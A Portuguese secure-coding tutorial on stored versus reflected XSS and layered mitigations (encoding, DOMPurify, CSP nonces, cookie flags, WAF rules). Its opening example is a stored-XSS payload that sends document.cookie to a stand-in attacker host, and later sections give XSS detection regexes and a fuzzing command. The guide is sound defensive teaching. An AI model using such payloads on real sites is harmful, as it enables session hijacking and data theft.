XSS armazenado vs refletido: técnicas de mitigação avançadas

1. Fundamentos e Diferenciação entre XSS Armazenado e Refletido

1.1. Mecanismo de injeção: persistência no servidor vs. reflexão imediata na requisição

O XSS armazenado (persistente) ocorre quando o payload malicioso é permanentemente armazenado no servidor — em bancos de dados, sistemas de arquivos ou logs — e posteriormente servido a usuários que acessam o conteúdo. Já o XSS refletido (não persistente) depende de uma requisição imediata: o payload é enviado via parâmetros URL, campos de formulário ou cabeçalhos HTTP e refletido na resposta sem qualquer armazenamento intermediário.

Exemplo de XSS armazenado (comentário em blog):

<form action="/comentario" method="POST">
  <textarea name="mensagem"><script>fetch('https://atacante.com/roubar?cookie='+document.cookie)</script></textarea>
  <input type="submit" value="Enviar">
</form>

Exemplo de XSS refletido (parâmetro de busca):

https://site.com/busca?q=<script>alert('XSS')</script>

1.2. Superfícies de ataque típicas

  • XSS armazenado: formulários de comentários, perfis de usuário, campos de feedback, sistemas de mensagens, fóruns, editores rich text, logs de aplicação.
  • XSS refletido: parâmetros de URL em páginas de busca, redirecionamentos, mensagens de erro, campos de formulário que ecoam o valor submetido, cabeçalhos HTTP refletidos.

1.3. Impacto e alcance

O XSS armazenado possui potencial de infecção massiva: qualquer usuário que visualize a página contaminada é afetado, sem necessidade de interação adicional. O XSS refletido exige engenharia social — a vítima precisa clicar em um link malicioso ou submeter um formulário manipulado —, mas ainda assim pode comprometer sessões e dados sensíveis.

2. Mitigação no Backend: Sanitização e Validação de Entrada

2.1. Estratégias de encoding contextual

Cada contexto de saída exige um tipo específico de encoding:

  • HTML entity encoding: converter <, >, &, ", ' em &lt;, &gt;, &amp;, &quot;, &#x27; para conteúdo dentro de tags HTML.
  • JavaScript encoding: escapar caracteres especiais como \, ', ", \n para strings em contextos JavaScript.
  • CSS encoding: escapar valores inseridos em propriedades CSS (ex: url()).
  • URL encoding: codificar parâmetros com encodeURIComponent().

Exemplo de encoding contextual em Python (Flask):

from flask import Flask, request, escape
app = Flask(__name__)

@app.route('/comentario', methods=['POST'])
def comentario():
    mensagem = escape(request.form['mensagem'])  # HTML entity encoding
    salvar_no_banco(mensagem)
    return 'Comentário salvo com segurança'

2.2. Uso de bibliotecas de sanitização

Bibliotecas como DOMPurify (JavaScript) e OWASP Java HTML Sanitizer permitem definir whitelists de tags e atributos permitidos, removendo qualquer elemento não autorizado.

Exemplo com DOMPurify (Node.js):

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

const usuarioInput = '<script>alert("xss")</script><b>texto seguro</b>';
const limpo = DOMPurify.sanitize(usuarioInput, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
    ALLOWED_ATTR: []
});
console.log(limpo); // <b>texto seguro</b>

2.3. Validação rigorosa de tipos e formatos

  • Validar Content-Type esperado (ex: application/json para APIs).
  • Definir charset exclusivamente como UTF-8.
  • Limitar tamanho máximo de campos (ex: 500 caracteres para comentários).
  • Rejeitar caracteres de controle e sequências Unicode perigosas.

3. Mitigação no Frontend: Content Security Policy (CSP) Avançada

3.1. Configuração de CSP strict-dynamic e nonces

O CSP com strict-dynamic elimina a necessidade de whitelists de domínios, permitindo apenas scripts carregados via nonce ou hash.

Exemplo de cabeçalho CSP com nonce:

Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123' 'strict-dynamic'; object-src 'none'; base-uri 'none';

No HTML, o script confiável recebe o nonce correspondente:

<script nonce="abc123">
    console.log('Script autorizado pelo CSP');
</script>

3.2. Uso de hashes para scripts e estilos confiáveis

Para conteúdo gerado pelo usuário que precisa incluir scripts inline, pode-se usar hashes SHA:

Content-Security-Policy: script-src 'sha256-ABC123DEF456...'

3.3. Monitoramento e relatório de violações

Configure report-uri ou report-to para receber relatórios de violações CSP:

Content-Security-Policy: ...; report-uri /csp-violation;

4. Proteção Específica para XSS Armazenado

4.1. Context-Aware Output Encoding

Template engines modernos como Twig (PHP), Jinja2 (Python) ou Handlebars (JavaScript) oferecem escape automático por contexto. Configure o engine para aplicar encoding baseado no contexto (HTML, atributo, JavaScript, CSS).

Exemplo com Jinja2 (Flask):

{{ usuario_input|e }}  <!-- escape HTML padrão -->
{{ usuario_input|urlencode }}  <!-- escape URL -->

4.2. Armazenamento seguro

Mantenha dados brutos e renderizados separados. Armazene a versão sanitizada em cache para evitar reprocessamento a cada requisição:

# Cache de versão sanitizada
cache.set(f"comentario_sanitizado_{id}", comentario_limpo, timeout=3600)

4.3. Auditoria contínua

Integre scanners de segurança (ex: OWASP ZAP, Burp Suite) ao pipeline CI/CD para detectar XSS armazenado automaticamente:

# Exemplo de comando para scan via OWASP ZAP
zap-cli quick-scan --spider https://site.com --ajax-spider

5. Proteção Específica para XSS Refletido

5.1. Validação de parâmetros URL

Rejeite parâmetros que contenham padrões suspeitos ou fujam do formato esperado:

import re

def validar_parametro_busca(q):
    if not re.match(r'^[a-zA-Z0-9\s\-_]{1,100}$', q):
        return None  # Rejeita parâmetro inválido
    return escape(q)

5.2. Tokens anti-CSRF combinados com validação de origem

Para formulários que refletem dados, utilize tokens anti-CSRF e valide o cabeçalho Origin ou Referer:

<form action="/busca" method="GET">
    <input type="hidden" name="csrf_token" value="token_seguro">
    <input type="text" name="q">
    <input type="submit">
</form>

5.3. HTTP-only cookies e SameSite strict

Configure cookies de sessão como HttpOnly e SameSite=Strict para impedir acesso via JavaScript e limitar envio a requisições de mesma origem:

Set-Cookie: session=abc123; HttpOnly; SameSite=Strict; Secure

6. Técnicas de Detecção e Prevenção em Tempo Real

6.1. Monitoramento de logs com detecção de padrões

Implemente detecção em logs de acesso usando regex ou modelos de machine learning:

import re

log_patterns = [
    r'<script[^>]*>',
    r'on\w+\s*=',
    r'javascript\s*:',
    r'<img[^>]*onerror',
]

def detectar_xss(log_line):
    for pattern in log_patterns:
        if re.search(pattern, log_line, re.IGNORECASE):
            return True
    return False

6.2. WAF com regras específicas

Configure regras no WAF (ex: ModSecurity, Cloudflare WAF) para bloquear payloads XSS conhecidos:

# Regra ModSecurity para XSS
SecRule ARGS "@rx <script[^>]*>" "id:1000,phase:2,deny,msg:'XSS detectado'"

6.3. Testes automatizados de penetração

Utilize ferramentas como OWASP ZAP ou Burp Suite para fuzzing de endpoints críticos:

# Comando para fuzzing com ffuf
ffuf -w payloads_xss.txt -u https://site.com/busca?q=FUZZ

7. Estratégias de Defesa em Camadas e Boas Práticas Finais

7.1. Defense in depth

Combine mitigação no cliente (CSP, encoding), servidor (sanitização, validação) e infraestrutura (WAF, logs). Nenhuma camada única é suficiente.

7.2. Revisão de dependências

Mantenha bibliotecas atualizadas e verifique vulnerabilidades XSS conhecidas via bancos como CVE e Snyk:

npm audit

7.3. Treinamento da equipe

Implemente Secure Coding Guidelines específicos para XSS, com exemplos práticos de encoding, sanitização e CSP. Realize revisões de código focadas em contextos de saída.

Referências